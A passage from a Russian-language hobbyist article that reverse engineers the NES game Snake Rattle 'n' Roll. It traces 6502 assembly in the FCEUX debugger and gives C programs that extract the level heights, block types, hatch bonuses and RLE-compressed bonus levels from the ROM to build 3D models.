fprintf(max\_out, "Box lengthsegs:1 widthsegs:1 heightsegs:1 length:4 width:4 height:%d mapCoords:off pos:[%d,%d,0] name:\"Box[%02d:%02d]\" ", high\*4, x\*4, y\*4, x ,y);
color = color\_map[(x % 2)][(y % 2)];
if(high > 0){
if(color == 1){
fprintf(max\_out, "wirecolor:(color 00 200 00)");
} else {
fprintf(max\_out, "wirecolor:(color 00 150 00)");
}
} else {
fprintf(max\_out, "wirecolor:(color 00 00 255)");
}
fprintf(max\_out, "\r\n");
}
void read\_world(){
uint32\_t readed;
FILE \* file;
file = fopen("Snake\_Rattle'n\_Roll\_(U).nes", "rb");
fseek(file, 0x63D0, SEEK\_SET);
readed = fread(map, 4096, 1, file);
printf("Map Readed: %d\r\n", readed);
fclose(file);
}
```
**С других ракурсов**
---
В общем местами геометрия угадывается, но не то, что бы сильно. Я пробовал поискать закономерности появления некоторых блоков, но так их и не нашел. Пришлось браться за дебагер.
### 3. Поиск принципов обозначения блоков.
Пришло осознание, что жизнь это боль. Придется посмотреть на ассемблер 6502 и попробовать понять, как оно там внутри работает. Итак, берем **FCEUX-2.2.3**, ну просто потому, что она уже у меня есть, и других инструментов я особо не знаю.
Что мы имеем на данный момент: есть блок в ROM 4 килобайта, игра как-то по нему строит сцену. Блок может находиться как в PPU, так и CPU пространстве, но есть надежда, что он активен в основное время.
**Пояснение**
Картриджи на денди часто имели памяти больше чем приставка могла адресовать, и чтобы она таки могла добираться до этой памяти, придумали маперы, в данном случае MMC1, игра делает «магические» записи по определенным адресам, после чего мапер меняет кусок памяти ROM который доступен для чтения приставкой. Подробнее [тут](http://dendy.migera.ru/nes/g03.html).
Загрузил ROM, запустил игру и вышел в первый уровень. После чего открыл Debug->Hex Editor, сделал Edit → Find в качестве шаблона поиска выбил последовательность из смещения 0x63D0, а именно «13 04 04 04 04 00 00 00», и на этот раз мне повезло. Нашлось то что нужно по адресу 0xE3C0 (я догадываюсь что есть правильный способ поиска этого адреса, но мне было лень его искать).
Ставим брэйкпоинт на чтение этого байта, и немного пройдем вперед, чтобы игре нужно было перерисовать уровень, и видим вот какой код:
`>00:A5EA:B1 08 LDA ($08),Y @ $E3C0 = #$13
00:A5EC:F0 14 BEQ $A602
00:A5EE:AA TAX
00:A5EF:BD 69 D0 LDA $D069,X @ $D069 = #$00`
Что мы тут видим: первой командой читаем в регистр загружается A значением находящееся по адресу 0xE3C0, а именно там находится нижний левый угол уровня. Потом идёт проверка, что прочитали мы не ноль, дальше то, что прочитали, копируем в регистр X и используя его как смещение относительно адреса, 0xD069.
То есть по адресу 0xD069 хранится, что то преобразующее ID блока из адреса 0x63D0 во что то ещё.
Вспоминаем первую строку из карты
`13 04 04 04 04 01 01 01`
Посмотрим что хранится в памяти по таким смещениям
`00 01 04 33 02 03 0C 0E 12 58 1F 40 04 3C 60 06 60 62 2C 05`
Итого по смещению 0x13 мы видим 5, по смещению 0х04 мы видим 2, и по смещению 0x01 мы видим 1.
Если посмотреть на картинку начала первого уровня, то выглядит достаточно похоже. Ну что же, пришло время проверить. Щелкаем правой кнопкой по адресу 0xD069 и выбираем Go here in ROM File, после чего попадаем на адрес 0x5079. Модифицируем код генерирующий макрос.
**Тот же код с доработками**
```
#include
#include
#include
uint8\_t map[4096];
uint8\_t high\_map[256];
void read\_world();
void genBox(uint8\_t x, uint8\_t y, uint16\_t high);
uint8\_t getHigh(uint8\_t x, uint8\_t y);
FILE \* max\_out;
int main(){
read\_world();
max\_out = fopen("level.ms", "w");
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
genBox(x, y, getHigh(x,y));
}
}
fclose(max\_out);
return 0;
}
uint8\_t getHigh(uint8\_t x, uint8\_t y){
return high\_map[map[y\*64 + x]];
}
void genBox(uint8\_t x, uint8\_t y, uint16\_t high){
uint8\_t color;
uint8\_t color\_map[2][2] = {{1,0}, {0,1}};
fprintf(max\_out, "Box lengthsegs:1 widthsegs:1 heightsegs:1 length:4 width:4 height:%d mapCoords:off pos:[%d,%d,0] name:\"Box[%02d:%02d]\" ", high\*4, x\*4, y\*4, x ,y);
color = color\_map[(x % 2)][(y % 2)];
if(high > 0){
if(color == 1){
fprintf(max\_out, "wirecolor:(color 00 200 00)");
} else {
fprintf(max\_out, "wirecolor:(color 00 150 00)");
}
} else {
fprintf(max\_out, "wirecolor:(color 00 00 255)");
}
fprintf(max\_out, "\r\n");
}
void read\_world(){
uint32\_t readed;
FILE \* file;
file = fopen("Snake\_Rattle'n\_Roll\_(U).nes", "rb");
fseek(file, 0x63D0, SEEK\_SET);
readed = fread(map, 4096, 1, file);
printf("Map Readed: %d\r\n", readed);
fseek(file, 0x5079, SEEK\_SET);
readed = fread(high\_map, 256, 1, file);
printf("HighMap Readed: %d\r\n", readed);
fclose(file);
}
```
Вот теперь то, что нужно геометрия уровня отлично угадывается, даже последние уровни есть, только они по высоте начинаются от нуля, видимо не хватило высоты уровня в 255 единиц. Благо он как бы в квадрате находится, а не раскинут по всей карте, значит просто можно приподнять его над остальными уровнями.
**Другие ракурсы**
Начало второго уровня:
Спрятавшиеся 9-10-11 уровни:
Кратенький итог по адресам 0x63D0 хранятся ID блоков, которые при помощи массива по адресу 0x5079 преобразуются в высоту блока.
Но блока кроме высоты есть ещё тип блока: земля, вода, люк, судя по картинке по полученной геометрии весы и плевательницы ниблов тоже имеют высоту из этого массива. Ну чтож значит надо как то поискать тип блока. А значит оставляем брейкпоинт на чтение ID первого блока и ждём сработает ли он где нибудь ещё. А он не срабатывает. Ну остается понадеяться, что оно находится где то по рядом с кодом который вычислял высоту. Посмотрим, что там есть похожего на выборку по индексу.
`00:A5EA:B1 08 LDA ($08),Y
00:A5EC:F0 14 BEQ $A602
00:A5EE:AA TAX
00:A5EF:BD 69 D0 LDA $D069,X
00:A5F2:0A ASL
00:A5F3:69 02 ADC #$02
00:A5F5:85 04 STA $0004
00:A5F7:A5 72 LDA $0072
00:A5F9:38 SEC
..................................................
00:A62C:8A TXA
00:A62D:4A LSR
00:A62E:05 FA ORA $00FA
00:A630:AA TAX
00:A631:BD 6A CF LDA $CF6A,X
00:A634:90 04 BCC $A63A
00:A636:4A LSR
00:A637:4A LSR
00:A638:4A LSR
00:A639:4A LSR
00:A63A:29 0F AND #$0F`
По адресу 0xA631, что то похожее, если понадеяться на то, что X у нас выше не меняется. Что же происходит в этом куске, нас интересует код начиная с 0xA62C
Итак:
1. **X** переносим в **A**
2. Для **A** делаем сдвиг вправо (при этом младший бит попадает в флаг процессора **С**)
3. Делаем операцию OR с содержимым ячейки памяти 0x00FA
4. Теперь уже **A** переносим в **X**
5. Считываем **A** из ячейки 0xCF6A со смещением **X**
6. Проверяем взведен ли флаг **С**, если нет то сразу идем на адрес 0xA63A, если же он установлен то делаем четыре сдвига вправо
7. Выполняем AND c над регистром **A** с числом 0x0F (отрезаем верхний полубайт)
Дальше пошли всякие проверки, не очень хочется в них вникать. Посмотрел что было в ячейке 0xFA на момент выполнения, там лежал 0. Непонятно пока меняет оно или нет, а искать лень. Смотрим в памяти, что у нас находится по адресу 0xCF6A
`00 70 70 00 67 56 57 6A 75 06`
Вспомним первую строку уровня
`13 04 04 04 04 01 01 01`
Значит нам надо преобразовать эти числа по вышеописанному алгоритму в итоге получаем для всех 3 значений 0. Похоже на правду. Можно попробовать над каждым блоком написать его ID.
Дописываем программу, а за одно приподнимаем уровни 9-10-11.
**Дописываем код**
```
#include
#include
#include
uint8\_t map[4096];
uint8\_t high\_map[256];
uint8\_t block\_type[256];
void read\_world();
void genBox(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
void genText(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
uint8\_t getHigh(uint8\_t x, uint8\_t y);
uint8\_t getBlockType(uint8\_t x, uint8\_t y);
#define LEVEL9\_UP (114)
FILE \* max\_out;
int main(){
uint32\_t i;
read\_world();
max\_out = fopen("level.ms", "w+");
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
genBox(x, y, getHigh(x,y), getBlockType(x, y));
genText(x,y,getHigh(x,y), getBlockType(x, y));
}
}
fclose(max\_out);
return 0;
}
uint8\_t getHigh(uint8\_t x, uint8\_t y){
return high\_map[map[y\*64 + x]];
}
uint8\_t getBlockType(uint8\_t x, uint8\_t y){
uint8\_t block\_id;
uint8\_t ret;
block\_id = map[y\*64 + x];
ret = block\_type[block\_id >> 1];
if((block\_id & 0x01) == 1) {
ret = ret >> 4;
}
ret &= 0x0F;
return ret;
}
void genText(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
float fy;
fy = y\*4 - 1.5;
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "text size:5 font:\"Courier New\" text:\"%X\" pos:[%d,%03.01f,%d.1] wirecolor:(color 108 8 136) name:\"TX[%02d:%02d]\" \r\n", type, x\*4, fy, high\*4, x,y);
}
void genBox(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
uint8\_t color;
uint8\_t color\_map[2][2] = {{1,0}, {0,1}};
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "Box lengthsegs:1 widthsegs:1 heightsegs:1 length:4 width:4 height:%d mapCoords:off pos:[%d,%d,0] name:\"Box[%02d:%02d][BT%02X]\" ", high\*4, x\*4, y\*4, x ,y, type);
color = color\_map[(x % 2)][(y % 2)];
if((high > 0) && (high < 114)){
if(color == 1){
fprintf(max\_out, "wirecolor:(color 00 200 00)");
} else {
fprintf(max\_out, "wirecolor:(color 00 150 00)");
}
} else if (high >= 114){
fprintf(max\_out, "wirecolor:(color 200 200 250)");
} else {
fprintf(max\_out, "wirecolor:(color 00 00 255)");
}
fprintf(max\_out, "\r\n");
}
void read\_world(){
uint32\_t readed;
FILE \* file;
file = fopen("Snake\_Rattle'n\_Roll\_(U).nes", "rb");
fseek(file, 0x63D0, SEEK\_SET);
readed = fread(map, 4096, 1, file);
printf("Map Readed: %d\r\n", readed);
fseek(file, 0x5079, SEEK\_SET);
readed = fread(high\_map, 256, 1, file);
printf("HighMap Readed: %d\r\n", readed);
fseek(file, 0x4F7A, SEEK\_SET);
readed = fread(block\_type, 256, 1, file);
printf("block\_type Readed: %d\r\n", readed);
fclose(file);
}
```
**Немного картинок жуткого качества**
Предположение оказалось верным, все блоки подписаны соответственно с их графическим представлением, но на последних уровнях, что-то не так, если смотреть на большую картинку, или прямо в игре, то видно, что некоторые одинаковые по функционалу блоки имеют разные ID. Вспоминаем про заигноренную выше ячейку памяти 0xFA. Ставим на запись в неё брэйкпоинт, и смотрим когда она меняется.
Пришлось пройти уровень, и только при переходе на следующий имеем срабатывание и вот такой кусок кода:
`00:82D2:A5 AA LDA $00AA
00:82D4:C9 08 CMP #$08
00:82D6:6A ROR
00:82D7:29 80 AND #$80
>00:82D9:85 FA STA $00FA`
Тут всё просто читаем, что было в ячейке 0xAA, сравниваем с 0x08, делаем сдвиг вправо, но не обычный, а когда в старший разряд берется из флага С, а он в свою очередь будет установлен командой CMP если в ячейке 0xAA было значение больше или равно 0x08. После при помощи AND очищаем все биты кроме старшего. И его пишем уже в 0xFA. Осталось узнать, что хранится в ячейке 0xAA, но тут нам на помощь приходит сайт на котором, мы нашли расположения уровня
<http://datacrystal.romhacking.net/wiki/Snake_Rattle_N_Roll:RAM_map>
И хранится там номер текущего уровня, причем уровни считаются от нуля. Из чего получаем для уровней с первого по восьмой там записано 0x00, для уровней больше восьмого 0x80. Правим код учитывая эту особенность, и получаем правильные значения по всем уровням.
**Исправляем код**
```
#include
#include
#include
uint8\_t map[4096];
uint8\_t high\_map[256];
uint8\_t block\_type[256];
void read\_world();
void genBox(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
void genText(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
uint8\_t getHigh(uint8\_t x, uint8\_t y);
uint8\_t getBlockType(uint8\_t x, uint8\_t y);
#define LEVEL9\_UP (114)
FILE \* max\_out;
int main(){
uint32\_t i;
read\_world();
max\_out = fopen("level.ms", "w+");
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
genBox(x, y, getHigh(x,y), getBlockType(x, y));
genText(x,y,getHigh(x,y), getBlockType(x, y));
}
}
fclose(max\_out);
return 0;
}
uint8\_t getHigh(uint8\_t x, uint8\_t y){
return high\_map[map[y\*64 + x]];
}
uint8\_t getBlockType(uint8\_t x, uint8\_t y){
uint8\_t block\_id;
uint8\_t ret;
uint8\_t level\_id;
level\_id = 0;
if((x<29) && (y>35)){
level\_id = 0x80;
}
block\_id = map[y\*64 + x];
ret = block\_type[(block\_id >> 1) | level\_id];
if((block\_id & 0x01) == 1) {
ret = ret >> 4;
}
ret &= 0x0F;
return ret;
}
void genText(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
float fy;
fy = y\*4 - 1.5;
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "text size:5 font:\"Courier New\" text:\"%X\" pos:[%d,%03.01f,%d.1] wirecolor:(color 108 8 136) name:\"TX[%02d:%02d]\" \r\n", type, x\*4, fy, high\*4, x,y);
}
void genBox(uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type){
uint8\_t color;
uint8\_t color\_map[2][2] = {{1,0}, {0,1}};
if((x<29) && (y>35)){
high += LEVEL9\_UP;
}
fprintf(max\_out, "Box lengthsegs:1 widthsegs:1 heightsegs:1 length:4 width:4 height:%d mapCoords:off pos:[%d,%d,0] name:\"Box[%02d:%02d][BT%02X]\" ", high\*4, x\*4, y\*4, x ,y, type);
color = color\_map[(x % 2)][(y % 2)];
if((high > 0) && (high < 114)){
if(color == 1){
fprintf(max\_out, "wirecolor:(color 00 200 00)");
} else {
fprintf(max\_out, "wirecolor:(color 00 150 00)");
}
} else if (high >= 114){
fprintf(max\_out, "wirecolor:(color 200 200 250)");
} else {
fprintf(max\_out, "wirecolor:(color 00 00 255)");
}
fprintf(max\_out, "\r\n");
}
void read\_world(){
uint32\_t readed;
FILE \* file;
file = fopen("Snake\_Rattle'n\_Roll\_(U).nes", "rb");
fseek(file, 0x63D0, SEEK\_SET);
readed = fread(map, 4096, 1, file);
printf("Map Readed: %d\r\n", readed);
fseek(file, 0x5079, SEEK\_SET);
readed = fread(high\_map, 256, 1, file);
printf("HighMap Readed: %d\r\n", readed);
fseek(file, 0x4F7A, SEEK\_SET);
readed = fread(block\_type, 256, 1, file);
printf("block\_type Readed: %d\r\n", readed);
fclose(file);
}
```
### 4. Внешний вид блоков
| ID | Внешний вид | Level 1-8 |
| --- | --- | --- |
| 0 | | Обычный блок по которому можно ходить, если расположен на нулевой высоте (1,2 уровни), то выглядит как вода, но позволяет прыгать от неё, в отличии от воды на других высотах, раскрашен в виде шахматной доски, левая нижняя клетка светлая, дальше чередуются. По вертикали имеет узор переплетенной растительности. |
| 2 | | Люк с крышкой, содержит внутри бонусы или ловушки, после пятого уровня не встречается |
| 4 | | Ниблострел, снизу до верху имеет замысловатый механический узор, верх венчается двумя раструбами. |
| 5 | | Обычный блок, по которому можно ходить, сверху имеет вид ровной поверхности, сбоку левой плоскости текстуру кирпичной кладки, с правой не то трещины, не то растения |
| 6 | | Пирамидальный блок, при попытке приземлится на него, змея падает в пропасть |
| 7 | | Тоже что и блок шесть только другого цвета |
| 8 | | Весы, выглядят как шкала с делениями, и большим звонком сверху |
| A | | Блок воды если смотреть сверху, и водопад если сбоку |
| ID | Внешний вид | Level 9-11 |
| --- | --- | --- |
| 0 | | Блок обозначает яму, куда можно провалится не отрисовывается никак |
| 4 | | Место битвы с финальным босом, имеет вид лунной поверхности (или сыра:) |
| 5 | | Ровный блок из льда, сверху текстура льда, сбоку потресканя ледяная поверхность |
| 6 | | Пирамидальный блок, при попытке приземлится на него, змея падает в пропасть |
| 8 | | Весы, выглядят как шкала с делениями, и большим звонком сверху |
| 9 | | Ледяной блок с наклоном влево-вниз (на наблюдателя) |
| B | | Ледяной блок с наклоном вправо-вниз (на наблюдателя) |
Этой информации достаточно чтобы построить 3D модель и распечатать её. Но сейчас возникла проблема, а именно принтер на работе, а я на самоизоляции. И это только первая проблема. Если загрузить полную модель в слайсер, то при размере одной клетки в четыре миллиметра, и заполнением в десять процентов, полученная модель будет печататься пять суток. А учитывая что модель таких размеров в наш скромный рабочий принтер не помещается. Печатать придется частями, что ещё увеличит время печати. Поэтому отложим это на будущее. Но пока азарт исследования этой игры не угас, продолжим изучать, что ещё сможем вытащить из игры.
### 5. Бонусы в люках
В первых пяти уровня, на карте расставлены люки в которых могут быть: ловушки, бонусные вещи, переходы в бонус уровень или варп на другой уровень. Можно конечно пройтись по уровням и всё переписать вручную, но это быстро и скучно. А можно попытаться поискать, где и как оно хранится в игре. На этот раз я выбрал вариант с загрузкой/сохранением состояния игры, и инструментом **Tool->Ram search…** И при помощи вариантов **Equal / Not Equal** начал смотреть что изменяется. Через несколько попыток стало заметно, что меняется ячейка 0x1B1, до открывания люка там 0x41 после открывания 0x4E. Попробовал открыть люк рядом поменялась ячейка 0x1B3, было 0x29 стало 0x2E. Уже сейчас можно заметить, что меняются в обоих случаях младшие четыре бита. Но мы всё таки поставим брэйкпоинт, и посмотрим легко ли разобраться как игра оперирует с этими байтами.
Пытаемся открыть люк и попадаем вот в такой кусок кода:
`01:CCD7:A0 FE LDY #$FE
01:CCD9:C8 INY
01:CCDA:C8 INY
01:CCDB:BD D7 04 LDA $04D7,X @ $04D7 = #$85
01:CCDE:29 F0 AND #$F0
01:CCE0:1D C3 04 ORA $04C3,X @ $04C3 = #$00
01:CCE3:59 B0 01 EOR $01B0,Y @ $01B0 = #$80
01:CCE6:D0 F1 BNE $CCD9
01:CCE8:B9 B1 01 LDA $01B1,Y @ $01B1 = #$41
01:CCEB:5D FF 04 EOR $04FF,X @ $04FF = #$49
01:CCEE:29 F0 AND #$F0
01:CCF0:D0 E7 BNE $CCD9
01:CCF2:B9 B1 01 LDA $01B1,Y @ $01B1 = #$41
01:CCF5:48 PHA
01:CCF6:29 0F AND #$0F
01:CCF8:C9 06 CMP #$06
01:CCFA:F0 04 BEQ $CD00`
Всё расписывать не буду, скажу лишь, что здесь <http://datacrystal.romhacking.net/wiki/Snake_Rattle_N_Roll:RAM_map> описаны адреса
**0x4D7**и **0x4C3**, а именно это координаты игрока по **X** на карте мира в «пикселах», причем ширина клетки составляет шестнадцать пикселов, это установлено ручным замером. Получается, что старшая часть байта 0x4D7 и младшая 0x4C3 образую координату по X в блоках. Только здесь эти части байта поменяны местами, и сравниваются с ячейкой 0x1B0 а там в данный момент как раз хранится 0x80 (а первый люк который я проверял как раз и находится по координатам 8:4 если считать от нуля). В ячейке **0x4FF** хранится координата игрока по **Y** и от ней используется только старшая часть для сравнения. Ну и наконец после всего этого берется младшие четыре бита и дальше идет куча сравнений. Получается этот кусок кода ищет координаты открытого люка начиная с адреса 0x1B0 и дальше смещаясь каждый шаг на два байта, и так до места пока не найдет нужный люк. Выхода по невозможности найти не предусмотрено. Поэтому если изменить координаты на несуществующие, то при попытке открыть люк игра повиснет.
**Срываем покровы**
На самом деле автор сейчас вводит в заблуждение читателей, так как разбор данных идет достаточно давно, и в итоге первый раз автор расшифровывал данные аналитическим путем, не заглядывая в код. Именно во время поиска и всяческих экспериментов выяснилось что игра виснет. Но сейчас он осознал, что так проще, правильней и быстрей.
В итоге тип бонуса должен хранится в последних четырех битах, 0x1B1, что при помощи HEX редактора можно легко проверить. Поэкспериментировав, получаем вот такой список значений последнего байта:
| ID | Описание |
| --- | --- |
| 0x0 | Красная бомба |
| 0x1 | Красный шар |
| 0x2 | Инверсия движения |
| 0x3 | Ускорение |
| 0x4 | Зубастик |
| 0x5 | Будильник |
| 0x6 | Переход в бонус |
| 0x7 | Жизнь |
| 0x8 | Нога |
| 0x9 | Синий/фиолетовый шар |
| 0xA | Желтый шар |
| 0xB | Неуязвимость |
| 0xC | Переход в варп |
| 0xD | Бомба жизнь (бонус который в начале выглядит как жизнь но потом превращается в бобму) |
| 0xE | Пусто (возможно первая буква от Empty а может и просто совпадение) |
| 0xF | Переход в варп |
Так теперь надо разобраться, где это хранится в ROMe. И как грузится в память. Ставим брейкпоинт на запись в ячейку 1B0, и по неизвестной мне причине FCEUX начинает реагировать на код `LDA $001B` хотя здесь вроде бы чтение, а не запись и не из той ячейки. Если вдруг кто знает, почему так происходит напишите в комментариях.
Ладно сделаем допущение, что запись в ячейку происходит инструкцией `STA` и значит в **A** в момент входа на первый уровень должно равняться 0x80 поможем FCEUX добавив условие в брейкпоинт `A==#80`
И получаем нужное место в коде:
`00:8381:A4 AA LDY $00AA = #$00
00:8383:B9 00 07 LDA $0700,Y
00:8386:A8 TAY
00:8387:B9 00 07 LDA $0700,Y
00:838A:9D B0 01 STA $01B0,X
00:838D:E8 INX
00:838E:C8 INY
00:838F:E0 30 CPX #$30
00:8391:D0 F4 BNE $8387`
С начало сохраняем в **Y** номер уровня, потом в **A** читаем число по смещению 0x700+Номер\_уровня, переносим **A** в **Y**. Потом читаем байт по смещению 0x700+Y и копируем его в 0x1B0+X, инкрементируем **X** и **Y**, проверяем что **X** неравен 0x30 и если это так повторяем цикл копирования.
Посмотрим, что лежит по смещению 0x700 в памяти в момент копирования:
`06 1C 32 50 6A 7E 80 41 80 29 71`
Следуя алгоритму для первого уровня, мы берем значение по адресу 0x700 в данном случае это 0x06 и потом копируем 48 байт из адреса 0x700+06 в область 0x1B0. После проверки удалось убедиться, что данные именно те, что нам, и были нужны. Дальше получается интересная вещь, бонусы всегда копируются по 48 байт. Но если глянуть на первые шесть смещений (напомню после шестого уровня люки больше не встречается), то становится, очевидно, что данные в памяти между уровнями пересекаются, хотя зная как проверяются бонусы можно сказать, что это не проблема. Теперь осталось найти где эти данные хранятся в ROMе. Так как эти данные хранятся по адресу 0x700, а это RAM, значит они были подгружены туда из вне.
Можно поискать место, где они подгружаются, а можно попытать удачу и поискать вышеуказанною последовательность в ROM. И единственное вхождение такой записи, по адресу 0xF4D0 теперь посчитаем длину блока, смещение для шестого уровня 0x7E длинна блока 0x30 итого 0xAE.
Загрузив и распарсив все бонусы разом, получилось три пересечения. Про одно я знаю, что оно верное это (клетка 14:11), хитрое место в которое можно добраться из двух уровней разом, и в пятом там будет будильник, а вот в шестом это будет варп на восьмой уровень. Ещё два видимо совпали из-за того, что лежат на одной прямой [54:51] и [54:03], 51 в шестнадцатеричной системе это 0x33, а по Y у нас проверяются только первые 4 бита, вот они и совпадают в итоге. В случае необходимости можно отсечь харкодом. Отрисовывать в графике мне это было лень я просто вывел в консоль. Убедился, что данные совпадают с ожидаемыми. И так и оставил, всё равно пока не ясно, что с этим делать дальше. А у нас ещё есть несколько мест, которые было бы интересно прояснить.
### 6. Бонусные уровни
В первых четырех уровнях есть переходы на бонусные уровни, где можно спокойно ничего не боясь покушать ниблов. Хранятся они, где-то отдельно. Первый бонус уровень очень простой в плане геометрии, возвышенность, и порядка 12 клеток единичной высоты. Но попытка поискать это по шаблону в ROM потерпела неудачу. Это уже хуже, значит дальше может быть куча веселья, а может и не быть. Если предположить, что бонусы строятся также как и остальной уровень, то они должны использовать таблицу по адресу 0xD069. Подходим к переходу в бонус, ставим брейпоинт на чтение 0xD069-0xD168 и пробуем перейти в бонус, игра постоянно читает по этим адресам. Поэтому перейти в бонус при работающем брейкпоинте, было затруднительно. Но в если включить брейк поинт, в момент перехода в бонус уровень, то брейпоинт сработает уже в нужный момент.
В том же месте где и в обычных уровнях. `00:8A37:B1 08 LDA ($08),Y @ $0288 = #$01
00:8A39:85 81 STA $0081 = #$01
00:8A3B:A8 TAY
>00:8A3C:B9 69 D0 LDA $D069,Y @ $D06A = #$01`
Но адрес по которому читается уровень изменен, теперь чтение идет из памяти приставки, а не ROM. Посмотрим что там лежит:
достаточно отчетливо видно, что где-то между 0x200 и 0x300 лежит бонус уровень. Только правый верхний угол, тут стал левым нижним. Надо теперь понять, как он там оказывается. Ну чтож берем какую ни будь ячейку из блока (я взял 0x221 там лежало хорошо узнаваемое 0x3F), и ставим на неё брейпоинт по записи. Во время игры туда постоянно что-то пишется, поэтому добавим условие `A==#3F`
И вот оно:
`:0713:A5 AA LDA $00AA = #$00
:0715:0A ASL
:0716:85 8F STA $008F = #$00
:0718:A8 TAY
:0719:B9 5B 07 LDA $075B,Y @ $075B = #$01
:071C:8D 06 20 STA PPU_ADDRESS = #$DE
:071F:B9 5C 07 LDA $075C,Y @ $075C = #$DA
:0722:8D 06 20 STA PPU_ADDRESS = #$DE
:0725:A9 02 LDA #$02
:0727:85 C7 STA $00C7 = #$02
:0729:AD 07 20 LDA PPU_DATA = #$01
:072C:A2 00 LDX #$00
:072E:AD 07 20 LDA PPU_DATA = #$01
> :0731:9D 00 02 STA $0200,X @ $0221 = #$00
:0734:AD 07 20 LDA PPU_DATA = #$01
:0737:85 04 STA $0004 = #$00
:0739:BD 00 02 LDA $0200,X @ $0221 = #$00
:073C:E8 INX
:073D:F0 09 BEQ $0748
:073F:9D 00 02 STA $0200,X @ $0221 = #$00
:0742:C6 04 DEC $0004 = #$00
:0744:D0 F6 BNE $073C
:0746:F0 E6 BEQ $072E`
Вот тут уже пришлось покопаться, поискать как и что работает, хотя опереленные знания о работе NES у меня были. Небольшое отступление, картридж содержит два вида памяти, память программы и память спрайтов для видеопроцессора (это упрощенно). К памяти программы процессор имеет непосредственный доступ, а вот к памяти видеопроцессора доступа есть только через регистры видео процессора. Ну и та и другая могут быть разбиты на переключаемые страницы при помощи маппера. Так вот в этом куске данные вытаскиваются как раз из памяти видеопроцессора.
Подробней по работе PPU можно почитать [тут](http://dendy.migera.ru/nes/g02.html). Да небольшое дополнение FCEUX может заменять адреса регистров на понятные имена, в данном листинге PPU\_ADDRESS это 0x2006, PPU\_DATA = 0x2007.
Ну а теперь разберем, что и как. В начале читается номер уровня, потом ему делается сдвиг влево, что аналогично умножению на два, и переносится в Y. Затем по делается чтения по адресу 0x75B+Y и отправляется регистр адреса PPU, далее тоже самое повторяется для адреса 0X75C+Y. Этим мы указали адрес, с которого хотим читать данные из PPU. После делается пустое чтение из регистра данных PPU, это особенность работы PPU, после записи первое чтение будет содержать устаревшие данные. ~~А теперь начинается самое интересное. Регистр X обнуляется, и происходит первое чтение из PPU, которое пишется по адресу 0x200+X, читается следующее значение из PPU сохраняется по адресу 0x04, потом вычитывается то, что мы с сохранили в 0x200+X в регистр A, инкрементится X и если он стал равен нулю идёт прыжок на выход из этой подпрограммы, если нет, то опять сохраняем полученное значение, а ячейке 0x200+X, уменьшаем значение в ячейке 0x04, и если оно не равно нулю прыгаем на инкремент X, если же равно, то прыгаем снова на чтение данных из дата регистра PPU.~~
Если описывать проще то это вариация на тему [RLE](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D0%B8%D0%BD_%D1%81%D0%B5%D1%80%D0%B8%D0%B9) кодирование, первый байт описывает, что именно мы пишем в память, второй сколько раз мы это делаем. Размер бонуса 256 байт, что дает размер комнаты 16x16.
А по адресу 0x75B хранится восемь байт описывающие смещение уровней в PPU по два байта на смещение, итого четыре бонус уровня. Смещения уровней таковы:
`0x01DA
0x022A
0x029E
0x030E`
Переключаем HEX редактор FCEUX в отображение PPU (View->PPU Memory) и идем по указанному смещению там видим `00 21 3F 01 01 0C`, (важно это делать в момент загрузки уровня, иначе игра может переключить банк памяти и по указанному смещению уже будет непонятно что). Если расшифровать по указанному алгоритму, то вполне похоже на первый бонус. Поищем эту последовательность в ROM файле, и она находится по адресу 0xE1EA, попробуем отрисовать. И вся геометрия получается как в и игре, то, что и хотелось:
**Бонусные уровни**
**Доработанная программа**
```
#include
#include
#include
uint8\_t map[4096];
uint8\_t high\_map[256];
uint8\_t block\_type[256];
uint8\_t bonus\_offset[6];
uint8\_t bonuses[84][2];
uint8\_t bonus\_levels[1024];
uint16\_t bl\_offsets[4] = {
0x0000,
0x022A - 0x01DA,
0x029E - 0x01DA,
0x030E - 0x01DA,
};
void read\_world();
void genBox(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
void genText(FILE \* max\_out, uint8\_t x, uint8\_t y, uint16\_t high, uint8\_t type);
uint8\_t getHigh(uint8\_t x, uint8\_t y);
uint8\_t getBlockType(uint8\_t x, uint8\_t y);
void bonuses\_dec();
#define LEVEL9\_UP (114)
FILE \* max\_out;
int main(){
uint32\_t i;
read\_world();
max\_out = fopen("level.ms", "w+");
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
genBox(max\_out, x, y, getHigh(x,y), getBlockType(x, y));
genText(max\_out,x, y, getHigh(x,y), getBlockType(x, y));
}
}
fclose(max\_out);
bonuses\_dec();
for(uint8\_t y=0; y<64; y++){
for(uint8\_t x=0; x<64; x++){
if(getBlockType(x, y) == 2){
printf("BN[%02u:%02u] = [", x, y);
for(uint8\_t n=0; n<84; n++){
uint8\_t bx, by, bt;
bx = ((bonuses[n][0] >> 4)& 0x0F) | ((bonuses[n][0] << 4) & 0xF0);
by = ((bonuses[n][1] >> 4)& 0x0F);
bt = bonuses[n][1] & 0x0F;
if((bx == x) && ((y & 0x0F) == by)){
printf("[%02u]%X ", n, bt);
}
}
printf("]\r\n");
}
}
}
return 0;
}
uint8\_t getHigh(uint8\_t x, uint8\_t y){
return high\_map[map[y\*64 + x]];
}
uint8\_t getBlockType(uint8\_t x, uint8\_t y){
uint8\_t block\_id;
uint8\_t ret;
uint8\_t level\_id;
level\_id = 0;
if((x<29) && (y>35)){
level\_id = 0x80;
}
block\_id = map[y\*64 + x];
